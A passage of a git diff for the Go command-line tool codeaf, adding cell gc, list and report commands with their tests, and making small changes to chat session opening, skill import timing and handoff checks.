cellsync.NewFakeEngine(t.TempDir())} + r.dir = directory.NewMemory(r.clock.Now) + dirA := r.dir.For("dev_a") + r.parent = cell.Cell{ID: parentID, Root: t.TempDir()} + if err := os.WriteFile(filepath.Join(r.parent.Root, "parent.txt"), []byte("parent"), 0o600); err != nil { + t.Fatal(err) + } + r.drv = &cellsync.Driving{Cell: r.parent} + pub := &cellsync.Publisher{Engine: r.engA, Store: r.store, Dir: dirA} + head := r.engA.Seal(r.parent, map[string]string{"parent.txt": "parent"}) + if err := pub.Publish(ctx, r.drv, head, cellsync.PublishInfo{Class: "chat", Size: 1}); err != nil { + t.Fatal(err) + } + r.makeBranch(map[string]string{"branch.txt": "branch"}) + r.door = branchDoor{Dir: dirA, Driver: fixedDriver{r.drv}} + return r +} + +// makeBranch is device B's death branch: its objects reach the store, then the record. +func (r *branchRig) makeBranch(files map[string]string) { + r.t.Helper() + ctx := context.Background() + engB := cellsync.NewFakeEngine(r.t.TempDir()) + bc := cell.Cell{ID: branchID, Root: r.t.TempDir()} + head := engB.Seal(bc, files) + ex, err := engB.Export(ctx, bc, head) + if err != nil { + r.t.Fatal(err) + } + for _, f := range ex.Frames { + raw, _ := os.ReadFile(f.Path) + if _, err := r.store.PutFrame(ctx, raw); err != nil { + r.t.Fatal(err) + } + } + _, err = r.dir.For("dev_b").Create(ctx, branchID, directory.CellInit{Head: head, Class: "chat", ParentCell: parentID, OrphanTurns: 1}) + if err != nil { + r.t.Fatal(err) + } +} + +func (r *branchRig) rec(id string) directory.Cell { + r.t.Helper() + v, err := r.dir.For("dev_a").Cell(context.Background(), id) + if err != nil { + r.t.Fatal(err) + } + return v.Cell +} + +// loseLease lets A's lease lapse and gives it to device C. +func (r *branchRig) loseLease() { + r.t.Helper() + r.clock.Advance(directory.LeaseTTL + 1) + if _, err := r.dir.For("dev_c").Acquire(context.Background(), parentID, directory.AcquireOpts{}); err != nil { + r.t.Fatal(err) + } +} + +func TestCellDiscard(t *testing.T) { + t.Run("discard archives", func(t *testing.T) { + r := newBranchRig(t) + before := r.rec(parentID).Head + if err := r.door.discard(context.Background(), r.parent, branchID, &bytes.Buffer{}); err != nil { + t.Fatal(err) + } + if !r.rec(branchID).Archived || r.rec(parentID).Head != before { + t.Fatal("discard must archive the branch and leave the parent alone") + } + }) + + t.Run("discard does not run without the parent's lease", func(t *testing.T) { + r := newBranchRig(t) + r.loseLease() + before := r.rec(parentID).Head + if err := r.door.discard(context.Background(), r.parent, branchID, &bytes.Buffer{}); !errors.Is(err, directory.ErrFenceStale) { + t.Errorf("discard: err = %v, want ErrFenceStale", err) + } + if r.rec(branchID).Archived || r.rec(parentID).Head != before { + t.Fatal("a device without the lease changed something") + } + }) + + t.Run("a stranger's branch is refused", func(t *testing.T) { + r := newBranchRig(t) + if _, err := r.dir.For("dev_b").Create(context.Background(), "other", directory.CellInit{Head: "h", Class: "chat"}); err != nil { + t.Fatal(err) + } + if err := r.door.discard(context.Background(), r.parent, "other", &bytes.Buffer{}); err == nil { + t.Fatal("discarded a cell that is not a branch of this chat") + } + }) +} + +func TestCellDiscardNeedsSyncSetUp(t *testing.T) { + t.Setenv("CODEAF_SYNC_URL", "off") + if err := runCellIn([]string{"discard", branchID, mustCellRoot(t)}, &bytes.Buffer{}, t.TempDir()); err == nil { + t.Error("discard ran on a device with no sync") + } +} + +// TestThereIsNoCellMerge pins that the verb is absent, not broken: it is not in +// the usage line and asking for it is the usage line. +func TestThereIsNoCellMerge(t *testing.T) { + if strings.Contains(cellUsage, "merge") { + t.Errorf("the usage line still offers merge: %s", cellUsage) + } + err := runCellIn([]string{"merge", branchID, mustCellRoot(t)}, &bytes.Buffer{}, t.TempDir()) + if err == nil || err.Error() != cellUsage { + t.Errorf("cell merge answered %v, want the usage line", err) + } +} + +func mustCellRoot(t *testing.T) string { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.FilesOnly}) + if err != nil { + t.Fatal(err) + } + return c.Root +} diff --git a/cmd/codeaf/cell_gc.go b/cmd/codeaf/cell_gc.go new file mode 100644 index 0000000000..226639a99e --- /dev/null +++ b/cmd/codeaf/cell_gc.go @@ -0,0 +1,82 @@ +package main + +import ( + "context" + "fmt" + "io" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellbudget" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/config" +) + +// cellGC brings the cells' working files under the disk budget now. +func cellGC(_ cell.Cell, args []string, out io.Writer) error { + flags := commandFlags("cell gc") + dry := flags.Bool("dry-run", false, "say what would be removed and remove nothing") + if err := parseCommandFlags(flags, args); err != nil { + return err + } + if flags.NArg() != 0 { + return fmt.Errorf("usage: codeaf cell gc [--dry-run]") + } + rep, err := cellBudget().Collect(context.Background(), *dry) + if err != nil { + return err + } + writeGCReport(out, rep) + return nil +} + +func cellBudget() cellbudget.Manager { + m := cellbudget.New(cellstore.Engine{}, cellWorkspace, cellBusy) + m.Limit = int64(config.CellBudgetGBAt(config.ProfileDir()) * (1 << 30)) + return m +} + +func writeGCReport(out io.Writer, rep cellbudget.Report) { + fmt.Fprintf(out, "cells hold %s, budget %s\n", gcSize(rep.Total), gcLimit(rep.Limit)) + for _, a := range rep.Actions { + fmt.Fprintf(out, " %s %s %s%s\n", a.ID, gcSize(a.Bytes), a.Outcome, gcWhy(a.Why)) + } + if gcSawRunning(rep) { + fmt.Fprintf(out, "running: %s\n", heldByEngineHint()) + } +} + +// gcSawRunning is whether the sweep passed over a cell because a session holds it. +func gcSawRunning(rep cellbudget.Report) bool { + for _, a := range rep.Actions { + if a.Why == "running" { + return true + } + } + return false +} + +func gcWhy(why string) string { + if why == "" { + return "" + } + return " (" + why + ")" +} + +func gcLimit(n int64) string { + if n <= 0 { + return "unlimited" + } + return gcSize(n) +} + +// cellsUsage is the doctor row: what the cells hold against the budget, and "" +// when they hold nothing (a machine with no cells has measured nothing, not zero). +func cellsUsage() string { + rep, err := cellBudget().Collect(context.Background(), true) + if err != nil || rep.Total == 0 { + return "" + } + return gcSize(rep.Total) + " of " + gcLimit(rep.Limit) +} + +func gcSize(n int64) string { return fmt.Sprintf("%.1f MiB", float64(n)/(1<<20)) } diff --git a/cmd/codeaf/cell_gc_test.go b/cmd/codeaf/cell_gc_test.go new file mode 100644 index 0000000000..8ae5882459 --- /dev/null +++ b/cmd/codeaf/cell_gc_test.go @@ -0,0 +1,24 @@ +package main + +import ( + "bytes" + "strings" + "testing" +) + +func TestCellGCOnAHomeWithNoCellsReportsAnEmptyBudget(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + var out bytes.Buffer + if err := runCellIn([]string{"gc", "--dry-run"}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + if !strings.Contains(out.String(), "cells hold 0.0 MiB") { + t.Fatalf("report: %q", out.String()) + } +} + +func TestCellNamesItsVerbsWhenAskedForANonsense(t *testing.T) { + if err := runCell([]string{"nope"}); err == nil || !strings.Contains(err.Error(), "gc") { + t.Fatalf("want a usage line naming gc, got %v", err) + } +} diff --git a/cmd/codeaf/cell_list.go b/cmd/codeaf/cell_list.go new file mode 100644 index 0000000000..23296382de --- /dev/null +++ b/cmd/codeaf/cell_list.go @@ -0,0 +1,67 @@ +package main + +import ( + "context" + "errors" + "fmt" + "io" + "text/tabwriter" + "time" + + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/tui2/reltime" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// cellListAsk bounds one listing so a silent relay ends the command rather +// than hanging an ssh session. +const cellListAsk = 10 * time.Second + +// cellListSource is where `cell list --all` reads chats from. It is a seam so +// a test can stand in any source; the real one is the sync setup (syncwire.go). +var cellListSource = syncListSource + +// cellList prints every chat this person has, on any machine, one per line: +// id, title, device, what §8.1 says about where it runs, and the age of its +// last durable turn. It is headless on purpose, for ssh-driven demos. +func cellList(args []string, out io.Writer) error { + if len(args) != 1 || args[0] != "--all" { + return errors.New(cellUsage) + } + src, err := cellListSource() + if err != nil { + return err + } + ctx, cancel := context.WithTimeout(context.Background(), cellListAsk) + defer cancel() + rows, err := src.Rows(ctx) + if r, ok := cellsync.RefusalOf(err); ok && (errors.Is(err, wireauth.ErrRotated) || errors.Is(err, wireauth.ErrGone)) { + return errors.New(r.Say(err)) + } + if err != nil { + return fmt.Errorf("%s: %w", chatlist.Unreachable, err) + } + return writeChatRows(rows, out) +} + +// writeChatRows draws the rows as an aligned table. A column with nothing to +// say (a chat that is here or idle has no status line) shows a dash so the +// columns still line up. +func writeChatRows(rows []chatlist.Row, out io.Writer) error { + w := tabwriter.NewWriter(out, 0, 0, 2, ' ', 0) + for _, r := range rows { + fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s\n", r.Cell, r.Title, orDash(r.Device), + orDash(statusOf(r)), reltime.Elapsed(r.DurableAgo)) + } + return w.Flush() +} + +// statusOf is the status column: a branch says only what this build can do with +// it, which is discard (there is no merge, cell_branch.go). +func statusOf(r chatlist.Row) string { + if r.Status == chatlist.Branch { + return chatlist.BranchLine(r, false) + } + return chatlist.StatusLine(r) +} diff --git a/cmd/codeaf/cell_list_test.go b/cmd/codeaf/cell_list_test.go new file mode 100644 index 0000000000..37cfcce98b --- /dev/null +++ b/cmd/codeaf/cell_list_test.go @@ -0,0 +1,92 @@ +package main + +import ( + "bytes" + "context" + "errors" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// withListSource installs a Source for one test. +func withListSource(t *testing.T, src chatlist.Source, err error) { + t.Helper() + old := cellListSource + cellListSource = func() (chatlist.Source, error) { return src, err } + t.Cleanup(func() { cellListSource = old }) +} + +func TestCellListAll(t *testing.T) { + withListSource(t, chatlist.Static{ + {Cell: "01AAA", Title: "Nightly index rebuild", Device: "studio", Status: chatlist.Running, DurableAgo: 2 * time.Minute}, + {Cell: "01BBB", Title: "Port the picker", Device: "studio", Status: chatlist.Off, DurableAgo: 3 * time.Hour}, + {Cell: "01CCC", Title: "Fix the flaky test", Device: "laptop", Status: chatlist.Branch, OrphanTurns: 2, DurableAgo: 5 * time.Hour}, + {Cell: "01DDD", Title: "Notes", Device: "laptop", Status: chatlist.Idle, DurableAgo: 26 * time.Hour}, + }, nil) + var out bytes.Buffer + if err := runCellIn([]string{"list", "--all"}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + want := []string{ + "01AAA Nightly index rebuild studio running on studio 2m", + "01BBB Port the picker studio studio offline 3h", + "01CCC Fix the flaky test laptop 2 turns from laptop: discard 5h", + "01DDD Notes laptop - 1d 2h", + } + if got := strings.TrimSpace(out.String()); got != strings.Join(want, "\n") { + t.Fatalf("got:\n%s\nwant:\n%s", got, strings.Join(want, "\n")) + } +} + +func TestCellListAllSyncOff(t *testing.T) { + old := cellListSource + t.Cleanup(func() { cellListSource = old }) + t.Setenv("CODEAF_SYNC_URL", "off") // an empty value now means the built-in default + err := runCellIn([]string{"list", "--all"}, &bytes.Buffer{}, t.TempDir()) + if err == nil || err.Error() != chatlist.SyncOff { + t.Fatalf("err = %v, want %q", err, chatlist.SyncOff) + } +} + +type unreachableSource struct{} + +func (unreachableSource) Rows(context.Context) ([]chatlist.Row, error) { + return nil, errors.New("no route") +} + +func TestCellListAllUnreachable(t *testing.T) { + withListSource(t, unreachableSource{}, nil) + err := runCellIn([]string{"list", "--all"}, &bytes.Buffer{}, t.TempDir()) + if err == nil || !strings.HasPrefix(err.Error(), chatlist.Unreachable) { + t.Fatalf("err = %v", err) + } +} + +func TestCellListNeedsAll(t *testing.T) { + for _, args := range [][]string{{"list"}, {"list", "--some"}, {"list", "--all", "x"}} { + if err := runCellIn(args, &bytes.Buffer{}, t.TempDir()); err == nil || !strings.Contains(err.Error(), "usage") { + t.Errorf("%v: err = %v, want usage", args, err) + } + } +} + +// errSource is a list that fails the way a relay that replaced the identity does. +type errSource struct{ err error } + +func (e errSource) Rows(context.Context) ([]chatlist.Row, error) { return nil, e.err } + +// A computer on an identity that was rotated is told what happened and what to +// do, not that other machines are unreachable. +func TestCellListOnAReplacedIdentity(t *testing.T) { + for cause, want := range map[error]string{wireauth.ErrGone: chatlist.ReplacedGone, wireauth.ErrRotated: chatlist.Replaced} { + withListSource(t, errSource{cause}, nil) + err := runCellIn([]string{"list", "--all"}, &bytes.Buffer{}, t.TempDir()) + if err == nil || err.Error() != want { + t.Errorf("%v: got %v, want %q", cause, err, want) + } + } +} diff --git a/cmd/codeaf/cell_report.go b/cmd/codeaf/cell_report.go new file mode 100644 index 0000000000..976bc6a870 --- /dev/null +++ b/cmd/codeaf/cell_report.go @@ -0,0 +1,33 @@ +package main + +import ( + "fmt" + "io" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/home" +) + +// cellReport prints what syncing a cell cost, one row per flush, a total, and the vault's own row. +// The numbers are counts kept on this device (internal/cellstats). Nothing is +// written anywhere unless the person names a file with --export. +func cellReport(c cell.Cell, args []string, out io.Writer) error { + lines, err := cellstats.Read(home.Dir(), c.ID) + if err != nil { + return err + } + vault, err := cellstats.Read(home.Dir(), cellstats.VaultScope) + if err != nil { + return err + } + cellstats.RenderScopes(out, lines, vault) + if len(args) == 0 || len(lines) == 0 { + return nil + } + if err := cellstats.Export(args[0], lines); err != nil { + return err + } + _, err = fmt.Fprintf(out, "wrote %s (%s)\n", args[0], cellstats.ExportNotice) + return err +} diff --git a/cmd/codeaf/cell_report_test.go b/cmd/codeaf/cell_report_test.go new file mode 100644 index 0000000000..dcb081f250 --- /dev/null +++ b/cmd/codeaf/cell_report_test.go @@ -0,0 +1,112 @@ +package main + +import ( + "bytes" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/home" +) + +// reportCell makes a cell on a fresh home and records the given flushes for it. +func reportCell(t *testing.T, flushes ...cellsync.Flush) cell.Cell { + t.Helper() + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.Create(home.Dir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + r := cellstats.NewRecorder(home.Dir(), c.ID, nil) + for _, f := range flushes { + r.OnFlush(f) + } + return c +} + +func TestCellReport(t *testing.T) { + c := reportCell(t, + cellsync.Flush{Head: "aaaaaaaaaaaaaaaa", Turns: 2, Frames: 1, Objects: 14}, + cellsync.Flush{Head: "bbbbbbbbbbbbbbbb", Turns: 1, Frames: 1, Objects: 3}) + var out bytes.Buffer + if err := runCellIn([]string{"report", c.ID}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + for _, want := range []string{"aaaaaaaaaa ", "bbbbbbbbbb ", "total", " 17 "} { + if !strings.Contains(out.String(), want) { + t.Errorf("report lacks %q:\n%s", want, out.String()) + } + } +} + +func TestCellReportShowsTheVaultRow(t *testing.T) { + c := reportCell(t, cellsync.Flush{Head: "aaaaaaaaaaaaaaaa", Turns: 1}) + cellstats.NewRecorder(home.Dir(), cellstats.VaultScope, cellstats.MeterFunc(func() cellstats.Counts { + return cellstats.Counts{Puts: 3, BytesUp: 4242} + })).Settle() + var out bytes.Buffer + if err := runCellIn([]string{"report", c.ID}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + if !strings.Contains(out.String(), "vault") || !strings.Contains(out.String(), "4242") { + t.Fatalf("report lacks the vault row:\n%s", out.String()) + } +} + +func TestCellReportPrintsNothingWithoutRows(t *testing.T) { + c := reportCell(t) + file := filepath.Join(t.TempDir(), "out.jsonl") + var out bytes.Buffer + if err := runCellIn([]string{"report", "--export", file, c.ID}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + if out.Len() != 0 { + t.Fatalf("an empty report printed %q", out.String()) + } + if _, err := os.Stat(file); err == nil { + t.Fatal("an export of nothing wrote a file") + } +} + +func TestCellReportExportOnlyOnRequest(t *testing.T) { + c := reportCell(t, cellsync.Flush{Head: "aaaa", Turns: 1, Objects: 2}) + file := filepath.Join(t.TempDir(), "out.jsonl") + + var plain bytes.Buffer + if err := runCellIn([]string{"report", c.ID}, &plain, t.TempDir()); err != nil { + t.Fatal(err) + } + if strings.Contains(plain.String(), cellstats.ExportNotice) { + t.Fatal("a plain report talked about exporting") + } + if _, err := os.Stat(file); err == nil { + t.Fatal("a plain report wrote an export") + } + + var out bytes.Buffer + if err := runCellIn([]string{"report", c.ID, "--export", file}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + got, err := os.ReadFile(file) + if err != nil { + t.Fatal(err) + } + stats, _ := os.ReadFile(cellstats.Path(home.Dir(), c.ID)) + if !bytes.Equal(got, stats) { + t.Fatalf("export = %q, want the stats lines %q", got, stats) + } + if !strings.Contains(out.String(), cellstats.ExportNotice) { + t.Fatalf("export did not say what it holds:\n%s", out.String()) + } +} + +func TestCellReportExportNeedsAFile(t *testing.T) { + c := reportCell(t) + if err := runCellIn([]string{"report", c.ID, "--export"}, &bytes.Buffer{}, t.TempDir()); err == nil { + t.Fatal("--export with no file was accepted") + } +} diff --git a/cmd/codeaf/cell_test.go b/cmd/codeaf/cell_test.go new file mode 100644 index 0000000000..09d270c759 --- /dev/null +++ b/cmd/codeaf/cell_test.go @@ -0,0 +1,202 @@ +package main + +import ( + "bytes" + "context" + "errors" + "io" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +func TestCellLogAndRewindThroughTheDoor(t *testing.T) { + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + var ids []string + for _, body := range []string{"one", "two"} { + if err := os.WriteFile(filepath.Join(c.Root, "f.txt"), []byte(body), 0o644); err != nil { + t.Fatal(err) + } + s, err := cellstore.Engine{}.Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + ids = append(ids, s.Turn.ID) + } + + var out bytes.Buffer + if err := runCellIn([]string{"rewind", ids[0][:10]}, &out, c.Root); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "f.txt")); string(got) != "one" { + t.Fatalf("f.txt = %q after rewind, want one", got) + } + out.Reset() + if err := runCellIn([]string{"log"}, &out, filepath.Join(c.Root, ".cell")); err != nil { + t.Fatal(err) + } + lines := strings.Split(strings.TrimSpace(out.String()), "\n") + if len(lines) != 3 || !strings.Contains(lines[0], ids[1][:12]) || !strings.Contains(lines[0], "cell.rewind") { + t.Fatalf("log:\n%s", out.String()) + } +} + +func TestCellDoorRefusesShortCommands(t *testing.T) { + for _, args := range [][]string{nil, {"nope"}, {"rewind"}, {"log", "a", "b"}} { + if err := runCellIn(args, &bytes.Buffer{}, t.TempDir()); err == nil || !strings.Contains(err.Error(), "usage") { + t.Errorf("%v: err = %v, want usage", args, err) + } + } +} + +func TestCellRewindRestoresTheWorkspaceTheSessionSealed(t *testing.T) { + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + workspace := t.TempDir() + if err := session.SaveMeta(c.Root, session.Meta{ID: "x", Workspace: workspace}); err != nil { + t.Fatal(err) + } + seal := func(body string) string { + if err := os.WriteFile(filepath.Join(workspace, "f.txt"), []byte(body), 0o644); err != nil { + t.Fatal(err) + } + s, err := cellstore.EngineFor(workspace).Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + return s.Turn.ID + } + first := seal("one") + seal("two") + + if err := runCellIn([]string{"rewind", first[:10]}, io.Discard, c.Root); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(filepath.Join(workspace, "f.txt")); string(got) != "one" { + t.Fatalf("workspace f.txt = %q after rewind, want one", got) + } + if _, err := os.Stat(filepath.Join(workspace, cell.StateDir)); !os.IsNotExist(err) { + t.Fatal("the rewind wrote .cell into the workspace") + } +} + +func TestCellResolveClosesACrashedCallAndFindsBucketedCells(t *testing.T) { + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + bucket := filepath.Join(home.Join("v3", "projects"), "-work") + c, err := cell.CreateIn(bucket, cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + sealed, err := cellstore.Engine{}.Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + wal, _, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + t.Fatal(err) + } + if err := wal.Begin(cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "ab", Started: 1, SideEffect: "local"}); err != nil { + t.Fatal(err) + } + + var out bytes.Buffer + if err := runCellIn([]string{"log", c.ID}, &out, t.TempDir()); err != nil || !strings.Contains(out.String(), "unfinished bash") { + t.Fatalf("log by id: %v\n%s", err, out.String()) + } + if err := runCellIn([]string{"rewind", sealed.Turn.ID[:10], c.ID}, &out, t.TempDir()); err == nil { + t.Fatal("rewind must refuse while a call is unfinished") + } + out.Reset() + if err := runCellIn([]string{"resolve", c.ID}, &out, t.TempDir()); err != nil || !strings.Contains(out.String(), "resolved bash") { + t.Fatalf("resolve: %v\n%s", err, out.String()) + } + if err := runCellIn([]string{"rewind", sealed.Turn.ID[:10], c.ID}, &out, t.TempDir()); err != nil { + t.Fatalf("rewind after resolve: %v", err) + } +} + +// A CALL THAT FINISHED AND WAS NEVER SEALED IS A GAP THE CHAIN CANNOT SHOW, so +// the log says so, and stops saying so once a seal has taken the call. +func TestCellLogMarksCallsThatWereNeverSealed(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.CreateIn(filepath.Join(home.Join("v3", "projects"), "-work"), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + wal, _, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + t.Fatal(err) + } + in := cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "ab", Started: 1, SideEffect: "local"} + done := cellstore.Executed{Call: cellstore.Call{Tool: "bash", ArgsHash: "ab", Started: 1}} + if err := wal.Begin(in); err != nil { + t.Fatal(err) + } + if err := wal.Finish(in, done); err != nil { + t.Fatal(err) + } + + var out bytes.Buffer + if err := writeGaps(c, &out); err != nil || !strings.Contains(out.String(), "unsealed 1 call(s)") { + t.Fatalf("log after an unsealed call: %v\n%s", err, out.String()) + } + if err := wal.Sealed([]cellstore.Executed{done}); err != nil { + t.Fatal(err) + } + out.Reset() + if err := writeGaps(c, &out); err != nil || out.Len() != 0 { + t.Fatalf("log after the call was sealed: %v\n%s", err, out.String()) + } +} + +// EACH CELL'S SEAT OWNS ITS OWN WATCH: a failure on one is not on the other. +func TestEachSeatOwnsItsSealWatch(t *testing.T) { + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + bucket := filepath.Join(home.Join("v3", "projects"), "-work") + seatOf := func() *cellstore.SealWatch { + c, err := cell.CreateIn(bucket, cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + cfg := v3Seated(session.Config{Place: session.Place{Dir: c.Root, Workspace: t.TempDir()}}) + watch, ok := cfg.Seals.(*cellstore.SealWatch) + if !ok { + t.Fatalf("no watch on a sealed session: %T", cfg.Seals) + } + return watch + } + first, second := seatOf(), seatOf() + if first == second { + t.Fatal("two cells share one watch") + } + first.Report(errors.New("disk full")) + if !first.Failing() || second.Failing() { + t.Fatal("a failure on one cell showed on the other") + } +} diff --git a/cmd/codeaf/chat.go b/cmd/codeaf/chat.go index bb24b413f0..1517af5adb 100644 --- a/cmd/codeaf/chat.go +++ b/cmd/codeaf/chat.go @@ -2420,7 +2420,7 @@ func journalLeafExhaustion(graph *store.Store, nodeID string, attempt int, record.Bound = string(exec.StopDeadline) record.Allowed = watchdog.Round(time.Second).String() record.Reason = "the worker did not come back within " + record.Allowed + - " and was stopped — its work is recorded and the node goes back on the queue" + " and was stopped — its work is recorded and the part goes back on the queue" case err == nil && outcome != nil && leafRanOutOfRoom(outcome): bound := leafStop(outcome) record.Bound = string(bound) diff --git a/cmd/codeaf/chatv3.go b/cmd/codeaf/chatv3.go index 36191f6d41..e5a1504b0c 100644 --- a/cmd/codeaf/chatv3.go +++ b/cmd/codeaf/chatv3.go @@ -24,6 +24,7 @@ import ( "github.com/Agent-Field/codeaf/internal/enginehost" "github.com/Agent-Field/codeaf/internal/env" "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/handoff" "github.com/Agent-Field/codeaf/internal/home" "github.com/Agent-Field/codeaf/internal/leave" "github.com/Agent-Field/codeaf/internal/openrouterauth" @@ -167,7 +168,7 @@ func openChatV3(name string, args []string, pickSession bool) error { // which they meant would open a conversation on a machine they did not // name. if strings.TrimSpace(*host) != "" && strings.TrimSpace(*at) != "" { - return fmt.Errorf("--host reaches a machine over ssh and --at reaches one through a relay: name one or the other, not both") + return fmt.Errorf("--host reaches a machine over ssh and --at reaches one through the sync service: name one or the other, not both") } // A BUDGET IS A SENTENCE ABOUT AN UNATTENDED SESSION, so it is refused @@ -491,6 +492,7 @@ func openChatV3(name string, args []string, pickSession bool) error { err = runSurface(ctx, tui3.Options{ Agent: agent, Build: buildinfo.String(), + Seal: sealSeamOf(agent, cfg.Seals), UnreadProfileKeys: append([]string(nil), proc.UnreadProfileKeys...), // The memory place reads the conversation's store; memory off supplies no seam. Memory: v3MemorySeam(cfg.Memory), @@ -650,7 +652,7 @@ func openChatV3(name string, args []string, pickSession bool) error { // the top of the conversation — rather than growing surfaces of their // own. An ordinary attended launch with the same file on disk is still // shown nothing whatever. - Notice: joinV3Notices(entryNotice, notice, session.UnattendedNotice(cfg), buildinfo.StaleNotice()), + Notice: v3Interrupted(cfg, joinV3Notices(entryNotice, notice, session.UnattendedNotice(cfg), buildinfo.StaleNotice())), ContextWindow: cfg.ContextWindow, History: recall, DraftFile: draft, @@ -1230,7 +1232,34 @@ func importForeignSkillsBeforeFirstMessage(shelf *store.Store, workspace string) if err != nil { return } - resident.ReconcileImportedSkills(shelf, workspace, homeDir) + runWithinBudget(skillImportBudget, func() { + resident.ReconcileImportedSkills(shelf, workspace, homeDir) + }) +} + +// skillImportBudget is how long a launch waits for the skill import pass. The +// pass reads a few small files and takes milliseconds; the one thing that makes +// it slow is a skill folder linked into a place the operating system guards +// with a permission prompt (macOS Documents, reached over ssh), where open(2) +// blocks and nothing can cancel it. Waiting forever there left the window blank. +const skillImportBudget = 2 * time.Second + +// runWithinBudget runs pass and waits for it at most budget, reporting whether +// it finished. A pass that outlives the budget is left to finish on its own: it +// is idempotent and ignores every failure, so the only cost of giving up is a +// conversation that opens without the skills that pass had not yet recorded. +func runWithinBudget(budget time.Duration, pass func()) bool { + done := make(chan struct{}) + guard.Go("chatv3/skill-import", func() { + defer close(done) + pass() + }) + select { + case <-done: + return true + case <-time.After(budget): + return false + } } // v3SkillShelf is the store the skill shelf lives in for one process: the @@ -1401,6 +1430,12 @@ func v3Connections(manager *connect.Manager) tui3.Connections { // cannot be shown a fuel gate (engine.go) — and a door deciding that for itself // would be this file guessing who is watching. func openV3Agent(cfg session.Config, workspace string, open func(session.Config) (*session.Agent, error)) (*session.Agent, session.Config, string, error) { + // A chat in the middle of being taken over here is not opened: a session booted + // now would read the journal from before the swap (see [handoff.Arrive]). + if handoff.Arriving(cfg.Place.Dir) { + return nil, cfg, "", errors.New(chatArrivingSentence) + } + cfg = v3Seated(v3Migrated(cfg)) // Restore the gate before construction, so restored work cannot start behind // the profile default. Return the launch config unchanged: a subsequent new // conversation must not inherit this one's saved override. @@ -1452,6 +1487,10 @@ func openV3Agent(cfg session.Config, workspace string, open func(session.Config) } } +// chatArrivingSentence is what a door says about a chat that is being moved onto +// this computer right now: it opens by itself when the move ends. +const chatArrivingSentence = "this chat is arriving on this computer; it opens by itself in a moment" + // sessionHeldElsewhere is a conversation another window is writing, named so a // door with a SCREEN can do something better than print the sentence. // @@ -2105,6 +2144,7 @@ func v3Memory(profileDir string) *store.Store { fmt.Fprintln(os.Stderr, "memory is off for this session: "+err.Error()) return nil } + brain.SetMemoryLedger(session.CellMemories) return brain } diff --git a/cmd/codeaf/chatv3_at.go b/cmd/codeaf/chatv3_at.go index 3df5fe2c13..ad6084c4cb 100644 --- a/cmd/codeaf/chatv3_at.go +++ b/cmd/codeaf/chatv3_at.go @@ -9,7 +9,7 @@ package main // // big-machine$ codeaf serve // this machine is reachable as otter-lamp-42 -// pair a new device with code 715 302 (valid 10 minutes) +// let a device use this machine with code 42-715-302 (valid 10 minutes) // // laptop$ codeaf chat --at otter-lamp-42 // pairing with otter-lamp-42 — enter the code shown there: ______ @@ -45,7 +45,6 @@ import ( "os/signal" "strings" "syscall" - "time" "github.com/Agent-Field/codeaf/internal/pair" "github.com/Agent-Field/codeaf/internal/remote" @@ -254,12 +253,13 @@ func askPairingCode(name string) 